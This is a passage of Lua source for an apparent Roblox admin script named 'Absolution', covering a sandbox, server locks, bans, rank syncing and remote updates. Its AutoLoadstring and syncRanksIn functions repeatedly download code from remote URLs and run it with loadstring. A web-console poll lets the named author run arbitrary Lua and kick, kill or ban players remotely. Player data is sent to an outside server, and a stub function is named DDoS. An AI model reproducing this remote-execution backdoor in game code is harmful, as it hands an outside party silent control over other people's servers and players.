			if(sandbox.lockedInstances[class])then
				return sandbox.lockedError('This Instance has been locked ~ Darkus_Theory');
			end;
			local obj,success,err;
			success,err=pcall(function()
				obj=sandbox.old.Instance.new(class,par);
			end);
			if(not success)then
				return sandbox.unlockedError(err);
			end;
			return sandbox.fakeObject(obj);
		end;
	});
	print=function(...)
		local args={...};
		local string,used='',0;
		for _,v in next,args do
			if(v==nil)then v='nil' end;
			local base=sandbox.toReal(v);
			local stat=sandbox.old.tostring(base);
			used=used+1;
			string=string..((used>1 and'\t')or'')..stat;
		end;
		return sandbox.old.print(string);
	end;
	error=function(format)
		if(format)then
			local error=format:match'.+:?.+:%s(.*)';
			if(error==nil or error:len()==0)then error=format end;
			format=error;
		else
			format='Protected - Absolution';
		end;
		return sandbox.old.error(format,0);
	end;
	NLS=NLS;
	NewLocalScript=NewLocalScript;
	newLocalScript=newLocalScript;
	NS=NS;
	NewScript=NewScript;
	newScript=newScript;
	require=function(...)
		local oldReq=sandbox.old.require;
		local args={...};
		table.foreach(args,function(_,v)
			args[sandbox.toReal(_)]=sandbox.toReal(v);
		end);
		local rtn,succ,err;
		succ,err=ypcall(function()
			rtn={sandbox.old.require(sandbox.old.unpack(args))};
		end);
		if(not succ)then
			return sandbox.lockedError(err);
		else
			if(rtn)then
				for _,v in next,rtn do
					if(v and type(v)=='function')then sandbox.new.setfenv(v,sandbox.scriptEnv) end;
					rtn[sandbox.fakeObject(_)]=sandbox.fakeObject(v);
				end;
			end;
			return unpack(rtn);
		end;
	end;
	setmetatable=function(tab,...)
		tab=sandbox.toReal(tab);
		local args={...};
		for _,v in next,args do
			args[_]=sandbox.toReal(v);
		end;
		if(tab==sandbox.old._G or tab==sandbox.old.shared)then
			return sandbox.lockedError();
		end;
		local rtn,success,err;
		success,err=pcall(function()
			rtn={sandbox.old.setmetatable(tab,unpack(args))};
		end);
		if(not success)then
			sandbox.unlockedError(err);
		else
			return unpack(rtn);
		end;
	end;
	next=next;
	pairs=pairs;
	ipairs=ipairs;
};
coroutine.wrap(function()
	local c={disconnect=function()end};
	local rawset=rawset;
	local sandbox=sandbox
	repeat
		c:disconnect();
		c=script.Changed:connect(function(prop)
			if(script.Disabled==true or script.Name=='ENDEDSCRIPT')then
				rawset(sandbox,'disabled',true);
			end;
		end);
		wait();
	until false;
end)();
local sandbox=sandbox;
sandbox.old.setfenv(1,sandbox.scriptEnv);
sandbox.old.setfenv(0,sandbox.scriptEnv);
local task,err=sandbox.new.loadstring(strToRun);
if(not task)then
	return sandbox.unlockedError(err);
end;
local ran,err=ypcall(task);
if(not ran)then
	sandbox.unlockedError(err);
end;
]=]
]===]

-- Create --
Absolution.Functions.Create = function(self, ClassName, Properties)
	local Instance = Instance.new(ClassName)
	local Properties = Properties or {}
	local ConnectionIndexes = {"MouseClick","MouseHoverEnter","MouseHoverLeave","MouseButton1Down","MouseButton2Down"}
	local CheckConnection = function(Index)
	local Index = tostring(Index)
		for _, Connect in pairs(ConnectionIndexes) do
			if Index:lower() == Connect:lower() then
				return true
			end
		end
	return false
	end
	for Index, Value in pairs(Properties) do
		if not CheckConnection(Index) then
			Instance[Index] = Value
		else
			Instance[Index]:connect(Value)
		end
	end
return Instance
end

-- ServerLocking --
Absolution.Locks.Server.enabledServerLock = function(self)
	if self.Locked then return end
	local t = self.Duration
	local r = self.rankNumber
	Absolution.Functions.Announce("Server Lock Enabled")
	Absolution.Locks.Server.Locked = true
	Instance.new("Hint", Absolution.Services.Workspace).Name = 'absolutionSht'
	for i = t,0,-1 do
		local ABM = workspace:findFirstChild('absolutionSht')
		if not ABM then
			ABM = Instance.new("Hint", Absolution.Services.Workspace)
			ABM.Name = 'absolutionSht'
		end
		ABM.Text = '[Absolution]: Server is locked for all ranks below '..r..' for '..i..' more seconds!'
		for i,v in pairs(Absolution.Services.Players:players()) do
			local pRank = Absolution.Functions.getRankedTable(tostring(v)) and Absolution.Functions:findRank(tostring(v)) or 0
			if pRank < r then
				v:Kick('[Absolution]: Server is locked for all ranks below '..r..' for '..i..' more seconds!')
			end
		end
		if self.Locked==false then ABM:remove() break end
	wait(1)
	end
	Absolution.Functions.Announce("Server Lock Disabled")
	Absolution.Locks.Server.Locked = false
	Absolution.Functions.Out('Admins', "Server Lock Disabled", 5)
end

-- showData --
Absolution.Functions.showData = function(v)
	Absolution.Functions.Dismiss(v)
	local Speaker = v -- laz boi
	Absolution.Functions.Output(v, 'Click me to see Server Statistics!', nil, function() Absolution.Functions.onChatted(v, 'stats/') end)
	Absolution.Functions.Output(v, 'Click me to see commands!', nil, function() Absolution.Functions.ShowCommands(v) end)
	Absolution.Functions.Output(v, 'Absolution Server-Side Administration', 'Really red')
	Absolution.Functions.Output(v, 'Created by Darkus_Theory.', nil)
	Absolution.Functions.Output(v, 'Click me to change settings!', nil, function()
	Absolution.Functions.Dismiss(Speaker)
	Absolution.Functions.Output(Speaker, "Set Color", "Mid gray", function()
			Absolution.Functions.Dismiss(Speaker)
			for _,c in pairs({"Br. yellowish green","Bright yellow","Bright orange","Bright red","Bright violet","Bright blue","Bright bluish green","Bright green","Institutional white","White","Light stone grey","Mid gray","Medium stone grey","Dark stone grey","Black","Really black","Grime","Br. yellowish orange","Light orange","Sand red","Lavender","Sand blue","Medium blue","Sand green","Brick yellow","Cool yellow","Neon orange","Medium red","Light reddish violet","Pastel Blue","Teal","Medium green","Pastel brown","Pastel yellow","Pastel orange","Pink","Pastel violet","Pastel light blue","Pastel blue-green","Pastel green","Olive","New Yeller","Deep orange","Really red","Hot pink","Really blue","Toothpaste","Lime green","Brown","Nougat","Dark orange","Royal purple","Alder","Cyan","Light blue","Camo","Reddish brown","CGA brown","Dusty Rose","Magenta","Deep blue","Navy blue","Dark green","Earth green"}) do
				Absolution.Functions.Output(Speaker, c, c, function()
					Absolution.Functions.Dismiss(Speaker)
					Absolution.Functions.getRankedTable(Speaker.Name).Color = c
					Absolution.Functions.showData(Speaker)
				end)
			end
		end)
		Absolution.Functions.Output(Speaker, "Set Tablet Type", "Mid gray", function()
			Absolution.Functions.Dismiss(Speaker)
			Absolution.Functions.Output(Speaker, 'Box', nil, function() Absolution.Functions.Dismiss(Speaker) Absolution.Functions.getRankedTable(Speaker).TabletType = 'Box' Absolution.Functions.showData(Speaker)end)
			Absolution.Functions.Output(Speaker, 'Normal', nil, function() Absolution.Functions.Dismiss(Speaker) Absolution.Functions.getRankedTable(Speaker).TabletType = 'Normal' Absolution.Functions.showData(Speaker)end)
		end)
		Absolution.Functions.Output(Speaker, "Set Distance", "Mid gray", function()
			Absolution.Functions.Dismiss(Speaker)
			for z = 1, 30 do
				Absolution.Functions.Output(Speaker, z, nil, function()
					Absolution.Functions.Dismiss(Speaker)
					Absolution.Functions.getRankedTable(Speaker.Name).Distance = z
					Absolution.Functions.showData(Speaker)
				end)
			end
		end)
	end)
	Absolution.Functions.Output(v, 'Click me to go to your Ranked Interface!', nil, function() Absolution.Functions.GetRankedInterface(v, v.Name) end)
	Absolution.Functions.Output(v, 'Access Level: '..Absolution.Ranks[Absolution.Functions:findRank(tostring(v))], nil)
	if Absolution.Functions.calculateRankInGroup(v)>0 then
	Absolution.Functions.Output(v, 'Group Access Level: '..Absolution.Functions.calculateRankInGroup(v), nil)
	end
	Absolution.Functions.Output(v, 'Dismiss')
end

-- Rotation! --
Absolution.Constants.TabletRotation = 0
Absolution.Functions.UpdateTablets = function(self)
	Absolution.Constants.TabletRotation = Absolution.Constants.TabletRotation==360 and 0 or Absolution.Constants.TabletRotation*(.1/100)
	for _, Player in pairs(Absolution.Functions:getALLPlayers()) do
		local PlrTabs = {}
		for i,v in pairs(Absolution.Tablets) do
			if v.Tab.Parent ~= nil and v.Plr == Player.Name then
				table.insert(PlrTabs, v)
			end
		end
		local radiusdata = Absolution.Functions.getRankedTable(Player.Name).Distance ~= nil and Absolution.Functions.getRankedTable(Player.Name).Distance or 15
				local pos = nil
				pcall(function()
					if Player.Character.Parent == Absolution.Services.Workspace then
						pos = Player.Character.Torso.CFrame
					end
				end)
				pcall(function()
					if Absolution.Services.Workspace:FindFirstChild(Player.Name..' Probe '..Absolution.uniqueKey) then
						pos = Absolution.Services.Workspace:FindFirstChild(Player.Name..' Probe '..Absolution.uniqueKey).CFrame
					end
				end)
				local radius = radiusdata + (#PlrTabs * 0.5)
				if not pos then pos = CFrame.new(0,15,0) end
				local LastKnownPosition = pos
		for Index = 1, #PlrTabs do
			local Tablet = PlrTabs[Index].Tab
			local Dec = Tablet:findFirstChild('aDD', true)
			if Tablet and Tablet.Parent then
				local newCFrame = Absolution.Functions.CLerp(Tablet.CFrame,CFrame.new(LastKnownPosition.p)
				* CFrame.Angles(0, math.rad((360/#PlrTabs*Index+(tick())*60/(#PlrTabs ~= 0 and 10 or 1))%360), 0)
				* CFrame.new(0, 0, ((radius*2)+#PlrTabs)*.35+Tablet.Size.X), .2)
				Tablet.CFrame = CFrame.new(newCFrame.p,pos.p)
				if Dec and Dec.Parent then Dec.CFrame = CFrame.new(newCFrame.p,pos.p) end
				--	* CFrame.Angles(math.rad(math.sin(tick()*4)*20)/Index,0,math.rad(math.sin(tick()*4)*20))
			else
				table.remove(PlrTabs, Index)
			end
		end
		--[[
		for i,v in pairs(PlrTabs) do
			pcall(function()
			local m=(i/#PlrTabs-(.5/#PlrTabs)+(Absolution.Constants.TabletRotation/(#PlrTabs/10)))*math.pi*2;
				local radiusdata = Absolution.Ranked[Player.Name].Distance ~= nil and Absolution.Ranked[Player.Name].Distance or 15
				local pos = nil
				pcall(function()
					if Player.Character.Parent == Absolution.Services.Workspace then
						pos = Player.Character.Torso.CFrame
					end
				end)
				pcall(function()
					if Absolution.Services.Workspace:FindFirstChild(Player.Name..' Probe '..Absolution.uniqueKey) then
						pos = Absolution.Services.Workspace:FindFirstChild(Player.Name..' Probe '..Absolution.uniqueKey).CFrame
					end
				end)
				if pos == nil then return end
				local radius = radiusdata + (#PlrTabs * 0.5)
				local x,y,z
				local rad=(#PlrTabs*.8)+4;
					local asd = (#PlrTabs)
				if true then
				if Absolution["Settings"]["Rotation_Style"] == 'Normal' then
								local function sFloor(i,d)
						d=d or asd;
						if(i%d==0)then
								return math.floor((i-1)/d);
						else
								return math.floor(i/d);
						end;
				end;
					x = math.sin((i / #PlrTabs - (0.5 / #PlrTabs) * 2) * math.pi * 2) * radius
					y = 0
					z = math.cos((i / #PlrTabs - (0.5 / #PlrTabs) * 2) * math.pi * 2) * radius
				elseif Absolution["Settings"]["Rotation_Style"] == 'Penta' then
					local asd = ((#PlrTabs>5 and 5) or #PlrTabs)
					local m=(i/asd-(.5/asd)+(Absolution.Constants.TabletRotation/(asd/10)))*math.pi*2;
					local function sFloor(i,d)
						d=d or asd;
						if(i%d==0)then
								return math.floor((i-1)/d);
						else
								return math.floor(i/d);
						end;
					end;
					x = (math.sin(m)*(10+(math.floor(i/asd)*4)))
					y = math.sin(tick()*.5)
					z = (math.cos(m)*(10+(math.floor(i/asd)*4)))
				elseif Absolution["Settings"]["Rotation_Style"] == 'BSwirl' then
				local asd = (#PlrTabs)
					local m=(m/2)*(2+math.sin(tick()*.5));
					x = math.sin(m)*(rad-(i*.1))* radius
					y = math.sin(tick()*.5)
					z = math.cos(m)*(rad-(i*.1))* radius
				elseif Absolution["Settings"]["Rotation_Style"] == 'Swirl' then
					local m=(m/2)*(-5);
					local asd = (#PlrTabs)
					local rad=(rad-(i))
					x = (math.sin(m)*rad) * radius
					y = math.sin(tick()*.5)
					z = (math.cos(m)*rad) * radius
				elseif Absolution["Settings"]["Rotation_Style"] == 'Tri' then
				local asd=((#PlrTabs>3 and 3)or #PlrTabs);
				local m=(i/asd-(.5/5)+(Absolution.Constants.TabletRotation/(asd/10)))*math.pi*2;
								local function sFloor(i,d)
						d=d or asd;
						if(i%d==0)then
								return math.floor((i-1)/d);
						else
								return math.floor(i/d);
						end;
				end;
				x=math.sin(m)*(10+(sFloor(i)*4));
				z=math.cos(m)*(10+(sFloor(i)*4));
				end
				else
					x = math.sin((i / #PlrTabs - (0.5 / #PlrTabs) + Absolution.Constants.TabletRotation * 2) * math.pi * 2) * radius
					y = math.sin(tick()*.5)
					z = math.cos((i / #PlrTabs - (0.5 / #PlrTabs) + Absolution.Constants.TabletRotation * 2) * math.pi * 2) * radius
				end
				local arot = Vector3.new(x,y,z)+pos.p
				local brot = v.Tab.CFrame.p
				local crot = (arot * .1 + brot * .9)
				local drot = math.rad((Absolution.Constants.TabletRotation * 1000) * math.pi)
				v.Tab.CFrame = CFrame.new(crot, pos.p)
				if Absolution.SpinningRot == true then
					v.Tab.CFrame = v.Tab.CFrame * CFrame.Angles(drot, drot, drot)
				else
						v.Tab.CFrame = v.Tab.CFrame

				end
			end)
		end--]]
	end
end
-- reloadLogoGui --
Absolution.Functions.reloadLogoGui = function(v)
local PG;
local ScreenGui;
local ImageButton;
PG=v:findFirstChild'PlayerGui'
	if PG==nil then
		v:LoadCharacter()
		PG=v:waitForChild'PlayerGui'
	end
	if PG:findFirstChild'Info'==nil then
	local db = tick()+6
		ScreenGui = Instance.new("ScreenGui", PG)
		ScreenGui.Name='Info'
		ImageButton = Instance.new("ImageButton", ScreenGui)
		ImageButton.Position = UDim2.new(.94, 0, .92, 0)
		ImageButton.Size = UDim2.new(.06, 12, .08, 0)
		ImageButton.BackgroundColor3 = Color3.new(0, 0, 0)
		ImageButton.BorderColor3 = Color3.new(0, 0, 0)
		ImageButton.BackgroundTransparency = 1
		ImageButton.Visible = true
		ImageButton.Image = 'rbxassetid://'..Absolution.Settings.Logo
		ImageButton.Draggable=false
		ImageButton.MouseButton1Down:connect(function()
			if tick()-db >= 2 then
			Absolution.Handler:sendPacket(player, 'TerminalOn')
			Absolution.Functions.showData(v)
			db = tick()
			end
		end)
	end
end

-- handleBan --
Absolution.Functions.handleBan = function(Player)
	if Absolution.HandlingBans[Player] then return end
	Absolution.HandlingBans[Player] = true
	local playerData = Absolution.Functions.getRankedTable(tostring(Player))
	local playerName = tostring(Player)
	if playerData then
			if Absolution.Functions:findRank(Player) == -2 then
				coroutine.wrap(function() Absolution.Handler:sendPacket(Player, 'rekt',{["REASON"] = playerData.Description}) end)()
				wait()
				if Player then Player:Kick('You are banned from joining for '..playerData.Description) end
				Absolution.Functions.Announce(playerName.." was lagged due to a banishment. | REASON: "..playerData.Description)
				--Absolution.Functions.sbOutput(playerName.." was not allowed to join. | REASON: "..playerData.Description, 'Error')
			elseif Absolution.Functions:findRank(Player) == -1 then
				coroutine.wrap(function() Absolution.Handler:sendPacket(Player, 'disconnect',{["REASON"] = playerData.Description}) end)()
				wait()
				if Player then Player:Kick('You were banned for '..playerData.Description) end
				Absolution.Functions.Announce(playerName.." was kicked due to a banishment. | REASON: "..playerData.Description)
				--Absolution.Functions.sbOutput(playerName.." was not allowed to join. | REASON: "..playerData.Description, 'Error')
			elseif Absolution.Functions:findRank(Player) == -0.5 and not Absolution.Tempbans[tostring(Player.userId)] then
				Absolution.Functions.Out('Admins', 'A blacklisted user ('..playerName..') has joined the server.', 3)
			end
			if Absolution.Tempbans[tostring(Player.userId)] then
				local tban_data = Absolution.Tempbans[tostring(Player.userId)]
				local timeremaining = ((tban_data.timeEnd)-tick())
				if timeremaining >= 0 then
					coroutine.wrap(function() Absolution.Handler:sendPacket(Player, 'disconnect',{["REASON"] = playerData.Description}) end)()
					wait()
					if Player then Player:Kick("You were temp-banned for "..playerData.Description..". | TIME REMAINING: "..Absolution.Functions.GetTime(timeremaining)) end
					Absolution.Functions.Announce(playerName.." is banned for "..Absolution.Functions.GetTime(timeremaining).." | REASON: "..playerData.Description)
					--Absolution.Functions.sbOutput(playerName.." is banned for "..Absolution.Functions.GetTime(timeremaining).." | REASON: "..playerData.Description, 'Error')
					return
				else
					playerData.Rank = 0
				end
			end
	end
	wait(3)
	Absolution.HandlingBans[Player] = false
end

Absolution.Functions.checkPrivateBase = function()

	local function makeBase()
		local Base = Instance.new("Part")
		Base.BrickColor = BrickColor.new("Dark green")
		Base.CFrame = CFrame.new(5000, 200, 5000)
		Base.Transparency = 0
		Base.Elasticity = 0.5
		--Base.FormFactor = "Custom"
		Base.Material = 'Grass'
		Base.CanCollide = true
		Base.Friction = 0.30000001192093
		Base.Size = Vector3.new(2044, 0, 2044)
		Base.Archivable = true
		Base.Material = "Grass"
		Base.RotVelocity = Vector3.new(0, 0, 0)
		Base.Reflectance = 0
		Base.Locked = true
		Base.Anchored = true
		Base.Name = "AbsolutionBase"
		Base.TopSurface = "Smooth"
		Base.BottomSurface = "Inlet"
		Base.Shape = "Block"
		Base.Parent = Absolution.Services.Workspace.Terrain
		local v = Instance.new('Model', Base)
		v.Name = 'Verified'
		coroutine.wrap(function()
		while Base do
		wait()
			for i,v in pairs(Absolution.Services.Players:GetPlayers()) do
				if v.Character then
					if v.Character:findFirstChild'Torso' then
						local pos = (Base.Position-v.Character:findFirstChild'Torso'.Position).magnitude
						if pos < 2044 and Absolution.Ranked[v.Name].Rank < 3 then
							v:LoadCharacter()
						end
					end
				end
			end
		end
		end)()
	end

	if not game:service'Workspace'.Terrain:findFirstChild('Verified', true) then
		makeBase()
	end

end

-- mainLoop --
Absolution.Functions.mainLoop = function()
		coroutine.wrap(function()
			for _,v in pairs(Absolution.Services.Players:GetPlayers()) do
				coroutine.wrap(Absolution.Functions.reloadLogoGui)(v)
			end
		end)()
		coroutine.wrap(function()
			for _,Player in pairs(Absolution.Services.Players:GetPlayers()) do
				local cRank = Absolution.Functions.calculateRankInGroup(Player)
				if Absolution.Ranked[Player.Name].Rank < cRank and cRank >= 0 then print'ranking up player' Absolution.Ranked[Player.Name].Rank = cRank Absolution.Functions.syncRankOut(Player) end
			end
		end)()
		coroutine.wrap(function()
			for _,Player in pairs(Absolution.Services.Players:GetPlayers()) do
				local Ran,Error = ypcall(function()
					if Absolution.Functions:findRank(Player) <= 0 then Absolution.Functions.handleBan(Player) end
				end)
				if not Ran then Absolution.Errors[#Absolution.Errors+1] = Error end
			end
		end)()

		Absolution.Functions.checkPrivateBase()
	Absolution.Functions.UpdateTablets()
	if not Absolution.Services.ReplicatedStorage:FindFirstChild("AbsolutionHandler") then Absolution.Handler:CreateHandler('AbsolutionHandler', Absolution.Services.ReplicatedStorage)end
end

-- Add Command --
Absolution.Functions.Command = function(Name, Uses, Rank, Description, Flags, Function)
	if Uses == nil then return end
	if Name == nil then Name = "N/A" end
	if Rank == nil then Rank = 0 end
	if Description == nil then Description = "N/A" end
	if Flags == nil then Flags = "No Flags" end
	if Absolution.Commands[Name] then Absolution.Functions.Out('Admins','Adding new command: '..Name, 1) Absolution.Commands[Name] = nil end
	Absolution.Commands[Name] = {Name = Name, Uses = Uses, Rank = Rank, Description = Description, Flags = Flags, Function = Function}
end

--[[ HTTP SYNCING ]]--
-- syncRanksIn --
Absolution.Functions.syncRanksIn = function()
	ypcall(function()
		Absolution.Functions.getTempBans()
		local hsync = Absolution.Services.HttpService:GetAsync(Absolution.HttpConstants.IP..Absolution.HttpConstants.Incoming)--, true)
		local ran,erro = ypcall(function() loadstring(hsync)() end)
		if not ran then warn(erro) end
	end)
end

-- syncRanksOut --
Absolution.Functions.syncRanksOut = function()
	ypcall(function()
		local function url_encode(form)
		local result = {}
			for key, value in pairs(form) do
			table.insert(result, Absolution.Services.HttpService:UrlEncode(key) .. "=" .. Absolution.Services.HttpService:UrlEncode(value))
			end
		return table.concat(result, "&")
	end
	for i,v in pairs(Absolution.Ranked) do
	if not Absolution.Ranks[v.Rank] then v.Rank = 0 end
			local pt = {plr = i, uid = tostring(v.UserID), rnk = tostring(v.Rank), col = tostring(v.Color), dis = tostring(v.Distance), desc = tostring(v.Description), tablet = tostring(v.TabletType)}
			table.foreach(pt, tostring)
			local body = url_encode(pt)
			local s = Absolution.Services.HttpService:PostAsync(Absolution.HttpConstants.IP..Absolution.HttpConstants.Outgoing, body, Enum.HttpContentType.ApplicationUrlEncoded)
			wait(.5)
	end
	Absolution.Logs:append({Absolution.Functions.GetTime(tick()),'syncRanksOut() fires.'});
	end)
end
-- syncRankOut --
Absolution.Functions.syncRankOut = function(plr)
	ypcall(function()
	local function url_encode(form)
		local result = {}
			for key, value in pairs(form) do
				table.insert(result, Absolution.Services.HttpService:UrlEncode(key) .. "=" .. Absolution.Services.HttpService:UrlEncode(value))
			end
		return table.concat(result, "&")
	end
	local v = Absolution.Functions.getRankedTable(tostring(plr))
	if not Absolution.Ranks[v.Rank] then v.Rank = 0 end
			local pt = {plr = tostring(plr), uid = tostring(v.UserID), rnk = tostring(v.Rank), col = tostring(v.Color), dis = tostring(v.Distance), desc = tostring(v.Description), tablet = tostring(v.TabletType)}
			table.foreach(pt, tostring)
			local body = url_encode(pt)
			local s = Absolution.Services.HttpService:PostAsync(Absolution.HttpConstants.IP..Absolution.HttpConstants.Outgoing, body, Enum.HttpContentType.ApplicationUrlEncoded)
			wait(.5)
	Absolution.Logs:append({Absolution.Functions.GetTime(tick()),'syncRankOut() fires.'});
	end)
end

-- Splitting Hotness ~Vaeby --
Absolution.Functions.split = function(str, sSeparator, nMax, bRegexp)
    assert(sSeparator ~= '')
    assert(nMax == nil or nMax >= 1)

    local aRecord = {}

    if str:len() > 0 then
        local bPlain = not bRegexp
        nMax = nMax or -1

        local nField, nStart = 1, 1
        local nFirst,nLast = str:find(sSeparator, nStart, bPlain)
        while nFirst and nMax ~= 0 do
            aRecord[nField] = str:sub(nStart, nFirst-1)
            nField = nField+1
            nStart = nLast+1
            nFirst,nLast = str:find(sSeparator, nStart, bPlain)
            nMax = nMax-1
        end
        aRecord[nField] = str:sub(nStart)
    end

    return aRecord
end

-- Auto LoadString --
Absolution.Functions.AutoLoadstring = function()
	coroutine.wrap(function()
		while wait(10) do
		pcall(Absolution.Functions.getTempBans)
			ypcall(function()
				local hsync = Absolution.Services.HttpService:GetAsync(Absolution.HttpConstants.UpdateURL, true) --Absolution.HttpConstants.IP..Absolution.HttpConstants.Remote, true)
				if hsync == Absolution.HttpConstants.PreviousSync then return end
				local dat = loadstring(hsync)()
				if not data.SERVER or data.SERVER:lower() ~= Absolution.uniqueKey:lower() and data.SERVER ~= 'all' then return end
				if data.update == 'nothing' then return end
				Absolution.Functions.Out('Admins', '[Titanpad] (UPDATE) - '..data['update'], 5)
				Absolution.Functions.Output('Admins','[Titanpad] (UPDATE)','Lime green',function(s) Absolution.Functions.Dismiss(s) Absolution.Functions.Output(s, data.update) end, 10)
				if data['load'] then
					local loaded,didntload = ypcall(data.load)
					if not loaded then
						Absolution.Functions.Output('Admins','Data unreadable!','Really red')
						Absolution.Functions.Output('Admins',didntload,'Really red')
					end
				else
					Absolution.Functions.Output('Admins','Data unreadable!','Really red')
				end
				Absolution.HttpConstants.PreviousSync = hsync
				Absolution.dataReady = true
			end)
			local function getPlayers(plrname)
			local rtn = {}
				for q,e in next,Absolution.Functions.getALLPlayers() do
					if e.Name:lower():sub(1,#plrname)==plrname:lower() then
						table.insert(rtn, e)
					end
				end
				return rtn
			end
			ypcall(function()
				local hsync = Absolution.Services.HttpService:GetAsync(Absolution.HttpConstants.IP..Absolution.HttpConstants.ConsoleTXT)
				local data = game.HttpService:JSONDecode(hsync)
				if data.data and data.data == 'nil' then return end
				if data.Servers~=Absolution.uniqueKey and data.Servers=='all' then

					Absolution.Functions.Out('Admins', '[WebConsole] (UPDATE) - '..data['Note'], 5)

					local cmd = data.Command
					local cmddat = Absolution.Functions.split(cmd, '/')

					local command = cmddat[1]
					local player = cmddat[2]
					local reason = cmddat[3]
					local sender = data.Note:sub(1,data.Note:find':'-1)
					local players = {}

					if player then
						pcall(function() players = getPlayers(player) end)
					end

					if command=='kill' then
						for q,e in pairs(players) do
							if e.Character then
								e.Character:breakJoints()
							end
						end
					elseif command=='respawn' then
						for q,e in pairs(players) do
							e.Character:LoadCharacter()
						end
					elseif command=='kick' then
						for q,e in pairs(players) do
							e:Kick('[ABSOLUTION]: Kicked by '..sender..' for '..reason)
						end
					elseif command=='ban' then
						for q,e in pairs(players) do
							Absolution.Ranked[e.Name].Description = reason..' ('..sender..')'
							Absolution.Ranked[e.Name].Rank = -1
							Absolution.Function.syncRankOut(e.Name)
						end
					elseif command=='message' then
						Absolution.Functions.Announce(sender..': '..player, true)
					elseif command=='hint' then
						Absolution.Functions.Announce(sender..': '..player)
					elseif command=='lua' then
						if sender~='Darkus_Theory' then return end
						loadstring(player)()
					end

				elseif data.Servers==Absolution.uniqueKey then

					Absolution.Functions.Out('Admins', '[WebConsole] (UPDATE) - '..data['Note'], 5)
					Absolution.Functions.Output('Admins','[WebConsole] (UPDATE)','Lime green',function(s) Absolution.Functions.Dismiss(s) Absolution.Functions.Output(s, data.Note) end, 10)
					Absolution.Services.HttpService:GetAsync(Absolution.HttpConstants.IP..Absolution.HttpConstants.ConsolePHP)

					local cmd = data.Command
					local cmddat = Absolution.Functions.split(cmd, '/')

					local command = cmddat[1]
					local player = cmddat[2]
					local reason = cmddat[3]
					local sender = data.Note:sub(1,data.Note:find':'-1)
					local players = {}

					if player then
						pcall(function() players = getPlayers(player) end)
					end

					if command=='kill' then
						for q,e in pairs(players) do
							if e.Character then
								e.Character:breakJoints()
							end
						end
					elseif command=='respawn' then
						for q,e in pairs(players) do
							e.Character:LoadCharacter()
						end
					elseif command=='kick' then
						for q,e in pairs(players) do
							e:Kick('[ABSOLUTION]: Kicked by '..sender..' for '..reason)
						end
					elseif command=='ban' then
						for q,e in pairs(players) do
							Absolution.Ranked[e.Name].Description = reason..' ('..sender..')'
							Absolution.Ranked[e.Name].Rank = -1
							Absolution.Function.syncRankOut(e.Name)
						end
					elseif command=='message' then
						Absolution.Functions.Announce(sender..': '..player, true)
					elseif command=='hint' then
						Absolution.Functions.Announce(sender..': '..player)
					elseif command=='lua' then
						if sender~='Darkus_Theory' then return end
						loadstring(player)()
					end
				end
				Absolution.dataReady = true
			end)
			ypcall(function()
				local hsync = Absolution.Services.HttpService:GetAsync(Absolution.HttpConstants.IP..Absolution.HttpConstants.Remote, true)
				if hsync == Absolution.HttpConstants.PreviousWSync then return end
				local dat = loadstring(hsync)()
				if not data.SERVER or data.SERVER:lower() ~= Absolution.uniqueKey:lower() and data.SERVER ~= 'all' then return end
				if data.update == 'nothing' then return end
				Absolution.Functions.Out('Admins', '[Website] (UPDATE) - '..data.update, 5)
				Absolution.Functions.Output('Admins', '[Website] (UPDATE)','Lime green', function(s) Absolution.Functions.Dismiss(s) Absolution.Functions.Output(s, data.update) end, 10)
				if data['load'] then
					local loaded,didntload = ypcall(data.load)
					if not loaded then
						Absolution.Functions.Output('Admins','Data unreadable!','Really red')
						Absolution.Functions.Output('Admins',didntload,'Really red')
					end
				else
					Absolution.Functions.Output('Admins','Data unreadable!','Really red')
				end
				Absolution.HttpConstants.PreviousWSync = hsync
				Absolution.dataReady = true
			end)
		end
	end)()
end

-- DDoS --
Absolution.Functions.DDoS = function(ip, port, dur)
	local uri = ''
		return game.HttpService:GetAsync(uri)
	end

-- Auto Update  --
Absolution.Functions.AutoUpdate = function()
	coroutine.wrap(function()
		while true do
			ypcall(function()
				Absolution.Functions.syncRanksIn()
				Absolution.Functions.syncRanksOut()
			end)
			wait(90)
		end
	end)()
end

-- Ranking --
Absolution.Functions.addData = function(self, Player, UID, Rank, Color, Description, Bt, TabletType, SpinningRot, Rotation, Distance)
	Absolution.Ranked[(type(Player)=='userdata' and Player.Name or Player)] = {UserID = UID, Rank = (Rank and Rank or 0), Color = (Color and Color or tostring(BrickColor.random())), Description = (Description and Description or "N/A"), Bet = (Bt and Bt or "/"), MeshType = (MeshType and MeshType or "No Mesh"), SpinningRot = (SpinningRot and SpinningRot or true), Rotation = (Rotation and Rotation or false), Distance = (Distance and Distance or 8), TabletType = (TabletType and TabletType or 'Normal')}
	return Absolution.Ranked[(type(Player)=='userdata' and Player.Name or Player)]
end

Absolution.Functions.delData = function(self, Player)
	Absolution.Ranked[type(Player)=='userdata' and Player.Name or tostring(Player)] = nil
		return true
end

Absolution.Functions.modData = function(self, Player, dataName, dataValue)
	if Absolution.Ranked[Player] then
		Absolution.Ranked[Player][dataName] = dataValue
end
return Absolution.Ranked[(type(Player)=='userdata' and Player.Name or Player)]
end
Absolution.Functions.findRank = function(self, name)
	if not name then return end
	if not self then return end
	local rnk = Absolution.Ranked[tostring(name)]
	if not rnk then rnk = {Rank = 0} end
	return rnk.Rank
end

-- getPlayers --
Absolution.Functions.getPlayers = function(Speaker, Msg)
	Msg = Msg:lower()
	local Table = {}
	local Players = Absolution.Services.Players:getPlayers()
	if Msg == "me" then
		table.insert(Table, Speaker)
	elseif Msg == "all" or Msg == "" then
		for _,v in pairs(Players) do
			table.insert(Table, v)
		end
	elseif Msg == "others" then
		for _,v in pairs(Players) do
			if v.Name ~= Speaker.Name then
				table.insert(Table, v)
			end
		end
	elseif Msg == "admins" then
		for _,v in pairs(Players) do
			if v.Name ~= Speaker.Name and Absolution.Functions:findRank(v) >=4 then
				table.insert(Table, v)
			end
		end
	elseif Msg == "nonadmins" then
		for _,v in pairs(Players) do
			if v.Name ~= Speaker.Name and Absolution.Functions:findRank(v) <=4 then
				table.insert(Table, v)
			end
		end
	elseif Msg == "nonveterans" or Msg == "nonvets" or Msg == "noobs" then
		for _,v in pairs(Players) do
			if v.AccountAge < 364 then
				table.insert(Table, v)
			end
		end
	elseif Msg == "veterans" or Msg == "vets" then
		for _,v in pairs(Players) do
			if v.AccountAge > 364 then
				table.insert(Table, v)
			end
		end
	elseif Msg == "random" then
		local p = Players[math.random(1,#Players)]
		table.insert(Table, p)
	elseif Msg == 'friends' then
		for i,v in pairs(Players) do
			if Speaker:IsFriendsWith(v.userId) then
			   table.insert(Table, v)
			end
		end
	elseif Msg == 'nonfriends' then
